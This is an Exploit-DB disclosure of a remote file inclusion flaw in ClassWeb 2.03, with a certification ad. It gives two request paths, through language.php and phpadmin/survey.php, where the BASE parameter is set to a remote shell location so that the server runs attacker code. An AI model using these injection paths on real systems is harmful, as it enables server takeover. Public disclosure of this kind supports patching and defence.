ClassWeb 2.0.3 - 'BASE' Remote File Inclusion

EDB-ID:

3542


Author:

GoLd_M

Type:

webapps


Platform:

PHP

Date:

2007-03-22


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

# ClassWeb <= 2.03 Remote File Include Vulnerabilities
# D.Script: http://sourceforge.net/projects/classweb/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# Exploit: 
# [path]/classweb/language.php?BASE=Shell
# [Path]/classweb/phpadmin/survey.php?BASE=Shell

# milw0rm.com [2007-03-22]